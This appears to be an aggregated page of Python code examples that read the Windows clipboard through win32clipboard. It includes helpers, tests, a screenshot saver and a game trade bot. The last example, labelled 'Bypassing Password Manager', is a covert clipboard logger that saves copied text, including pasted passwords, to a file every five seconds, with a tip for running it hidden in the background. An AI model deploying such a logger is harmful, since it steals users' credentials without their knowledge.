示例#1
0
def isTradeAcceptable(exaltsThatShouldBeInTrade, chaosThatShouldBeInTrade):
    exaltsInTrade = 0
    chaosInTrade = 0
    tradeAcceptable = False
    i = 0

    while exaltsInTrade < exaltsThatShouldBeInTrade or chaosInTrade < chaosThatShouldBeInTrade or i < 3:
        i += 1
        exaltsInTrade = 0
        chaosInTrade = 0
        for x in range(12):
            for y in range(5):
                pag.moveTo(topLeftTrade[0] + squareSize[0] * x,
                           topLeftTrade[1] + squareSize[1] * y)
                if not tradeAcceptable:
                    pag.hotkey('ctrl', 'c')
                    win32cp.OpenClipboard()
                    data = win32cp.GetClipboardData()
                    win32cp.CloseClipboard()
                    data = data.replace('\r\n', ' ')
                    data = data.replace('\n', ' ').replace('\r', ' ')
                    exaltsInTrade += ctrlcToExalts(data)  # Todo: What if exalted instead of chaos
                    chaosInTrade += ctrlcToChaos(data)

                    if exaltsInTrade >= exaltsThatShouldBeInTrade and chaosInTrade >= chaosThatShouldBeInTrade:
                        tradeAcceptable = True
                        break

    return tradeAcceptable
示例#2
0
def test_to_clipboard_for_excel():
    from win32 import win32clipboard
    data = np.array([[0, 0], [1, 1]])
    helpers.to_clipboard_for_excel(data, decimals=1)
    win32clipboard.OpenClipboard()
    text = win32clipboard.GetClipboardData()
    assert text == '0.0\t0.0\r\n1.0\t1.0'
示例#3
0
def get_text():
    status = True
    win32clipboard.OpenClipboard()
    try:
        text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
    except Exception as E:
        text = str(E)
        status = False
    finally:
        win32clipboard.CloseClipboard()
    return True if status else False, text
示例#4
0
 def handle_callback(event):
     nonlocal inp_tip_text
     self.inp.delete(0, END)
     wcb.OpenClipboard()
     try:
         inp_tip_text = wcb.GetClipboardData(win32con.CF_TEXT).decode("gb2312").strip()
     except (TypeError, UnicodeDecodeError) as e:
         print(e)
     wcb.CloseClipboard()
     if bool(self.site_detect.match(inp_tip_text)):
         self.inp.insert(0, inp_tip_text)
示例#5
0
    def read(format=None) -> bytes:
        """read data from clipboard

        :param int format: the clipboard format from winuser.h, ``CF_*`` constants.
                           if ``None``, will use first format which ``EnumClipboardFormats`` return.
        """
        if format is None:
            format = ClipBoard.enum_clipformats()[0]
        try:
            wc.OpenClipboard()
            data = wc.GetClipboardData(format)
        finally:
            wc.CloseClipboard()
        return data
示例#6
0
    def receive_msg(self):
        self.lock.acquire()

        # for this problem: https://bbs.csdn.net/topics/390973288?page=1
        win32api.keybd_event(0x11, 0, 0, 0)  # ctrl
        win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP,
                             0)  # release key

        win32gui.ShowWindow(self.con_hwnd, win32con.SW_MAXIMIZE)
        win32gui.SetForegroundWindow(self.con_hwnd)

        time.sleep(1)

        x_mid = int(win32api.GetSystemMetrics(win32con.SM_CXSCREEN) / 2)
        y_mid = int(win32api.GetSystemMetrics(win32con.SM_CYSCREEN) / 2)
        win32api.SetCursorPos([x_mid, y_mid])

        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0,
                             0)  # left mouse button
        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0,
                             0)  # release key

        win32api.keybd_event(0x11, 0, 0, 0)  # ctrl
        win32api.keybd_event(0x41, 0, 0, 0)  # 'a'
        win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP,
                             0)  # release key
        win32api.keybd_event(0x41, 0, win32con.KEYEVENTF_KEYUP,
                             0)  # release key

        win32api.keybd_event(0x11, 0, 0, 0)  # ctrl
        win32api.keybd_event(0x43, 0, 0, 0)  # 'c'
        win32api.keybd_event(0x11, 0, win32con.KEYEVENTF_KEYUP,
                             0)  # release key
        win32api.keybd_event(0x43, 0, win32con.KEYEVENTF_KEYUP,
                             0)  # release key

        time.sleep(1)

        win32clipboard.OpenClipboard()
        text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT)
        win32clipboard.CloseClipboard()

        win32gui.SetForegroundWindow(self.cur_hwnd)

        time.sleep(1)

        self.lock.release()

        return text
示例#7
0
 def getText(self):
     w.OpenClipboard()
     d = w.GetClipboardData(win32con.CF_UNICODETEXT)
     w.CloseClipboard()
     return d
示例#8
0
 def getCopyText(self):
     wc.OpenClipboard()
     copy_text = wc.GetClipboardData(win32con.CF_TEXT)
     wc.CloseClipboard()
     return copy_text
示例#9
0
from time import sleep, gmtime
from os import mkdir
from os.path import exists, expanduser


def get_timestamp():
    now = gmtime()
    return f"{now.tm_mday}-{now.tm_mon}-{now.tm_year} {now.tm_hour}-{now.tm_min}-{now.tm_sec}"


bmp_header_hex = "424d000000000000000042000000"

image_path = expanduser("~") + "/Pictures/Screenshots/"

while True:
    win32clipboard.OpenClipboard()
    if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_DIB):
        data = win32clipboard.GetClipboardData(win32clipboard.CF_DIB)

        if not exists(image_path):
            mkdir(image_path)

        with open(f"{image_path}{get_timestamp()}.bmp", "wb") as f:
            f.write(bytearray.fromhex(bmp_header_hex))
            f.write(data)

        win32clipboard.EmptyClipboard()
    win32clipboard.CloseClipboard()

    sleep(2)
示例#10
0
 def paste(self):
     win32clipboard.OpenClipboard()
     data = win32clipboard.GetClipboardData()
     win32clipboard.CloseClipboard()
     setText(self.t1, data)
     self.wrapper()
示例#11
0
def main():
    global buyOrders
    global stopThreads
    global playersInArea
    global tradeAccepted

    pollingThread = threading.Thread(target=pollingFunc, daemon=True)
    pollingThread.start()

    #Todo: What if already in party
    #Todo: What if already in area

    while True:
        if not buyOrders.empty():
            currentBuyOrder = buyOrders.get()
            pag.moveTo(topLeftQuadStash[0] + quadSquareSize[0] * (currentBuyOrder.itemPosition[0] - 1),
                       topLeftQuadStash[1] + quadSquareSize[1] * (currentBuyOrder.itemPosition[1] - 1))

            pag.hotkey('ctrl', 'c')
            win32cp.OpenClipboard()
            data = win32cp.GetClipboardData()
            win32cp.CloseClipboard()
            data = data.replace('\r\n', ' ')
            data = data.replace('\n', ' ').replace('\r', ' ')
            isCorrectItem = currentBuyOrder.correctItem(data)

            if not isCorrectItem:
                return

            #time.sleep(2)

            pag.keyDown('ctrl')
            pag.click()
            pag.keyUp('ctrl')

            clearChat()

            win32cp.OpenClipboard()
            win32cp.EmptyClipboard()
            win32cp.SetClipboardText('/invite ' + currentBuyOrder.buyerName)
            win32cp.CloseClipboard()
            pag.hotkey('ctrl', 'v')
            pag.press('enter')

            playerGoingToAreaCounter = 0
            while currentBuyOrder.buyerName not in playersInArea and playerGoingToAreaCounter < 30: #Todo: This needs a timeout
                playerGoingToAreaCounter += 1
                print('|' + currentBuyOrder.buyerName + '| Not in area yet...')
                time.sleep(0.5)

            if currentBuyOrder.buyerName in playersInArea:
                print('In Area!')
                time.sleep(2)

                clearChat()

                win32cp.OpenClipboard()
                win32cp.EmptyClipboard()
                win32cp.SetClipboardText('/tradewith ' + currentBuyOrder.buyerName)
                win32cp.CloseClipboard()
                pag.hotkey('ctrl', 'v')
                pag.press('enter')

                tradeWindowOpened = False

                while not tradeWindowOpened:
                    try:
                        tradeWindowOpened = pag.locateOnScreen('trade.png', confidence=0.99)
                    except pag.ImageNotFoundException:
                        time.sleep(0.5)

                #time.sleep(10)

                pag.moveTo(1296, 614)
                pag.keyDown('ctrl')
                pag.click()
                pag.keyUp('ctrl')

                exaltsThatShouldBeInTrade = math.floor(currentBuyOrder.exalts)
                chaosThatShouldBeInTrade = currentBuyOrder.chaos + (currentBuyOrder.exalts - exaltsThatShouldBeInTrade) * exaltsToChaos

                acceptTrade = isTradeAcceptable(exaltsThatShouldBeInTrade, chaosThatShouldBeInTrade)

                if acceptTrade:

                    pag.moveTo(374, 836)
                    pag.click()

                    i = 0

                    while not tradeAccepted and i < 20: #Todo this doesnt work
                        i += 1

                        try:
                            pag.locateOnScreen('countdown.png', confidence=0.99)
                            acceptTrade = isTradeAcceptable(exaltsThatShouldBeInTrade, chaosThatShouldBeInTrade)
                            if acceptTrade:
                                playsound('acceptTrade.mp3')
                                #pag.moveTo(374, 836)
                                #pag.click()
                            else:
                                break
                        except pag.ImageNotFoundException:
                            time.sleep(0.5)

                    tradeAccepted = False

                clearChat()

                win32cp.OpenClipboard()
                win32cp.EmptyClipboard()
                win32cp.SetClipboardText('/kick ' + currentBuyOrder.buyerName)
                win32cp.CloseClipboard()
                pag.hotkey('ctrl', 'v')
                pag.press('enter')

        if keyboard.is_pressed('q'):
            stopThreads = True
            pollingThread.join(2)
            return
示例#12
0
def copy(w: WindowSpecification, k='^c'):
    w.TypeKeys(k)  # Mimics CTRL-C
    win32clipboard.OpenClipboard()  # Open clipboard
    return win32clipboard.GetClipboardData(
    )  # Return clipboard contents as string
示例#13
0
def gettext():
    w.OpenClipboard()
    t = w.GetClipboardData(win32con.CF_TEXT)
    w.CloseClipboard()
    return t
示例#14
0
from win32 import win32clipboard
import time

print("""

Bypassing Password Manager :
 ____      _          _
|  _ \ ___| |__   ___| |___  ___  ___
| |_) / _ \ '_ \ / _ \ / __|/ _ \/ __|
|  _ <  __/ |_) |  __/ \__ \  __/ (__
|_| \_\___|_.__/ \___|_|___/\___|\___|

Note : Hanya Work di Windows   
kalau ingin jalan di belakang layar ganti extensi jadi ".pyw" cth = logger.pyw

""")
while True:
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    with open('logs.txt', 'a+') as target:
        target.write(data + '\n')
    time.sleep(5)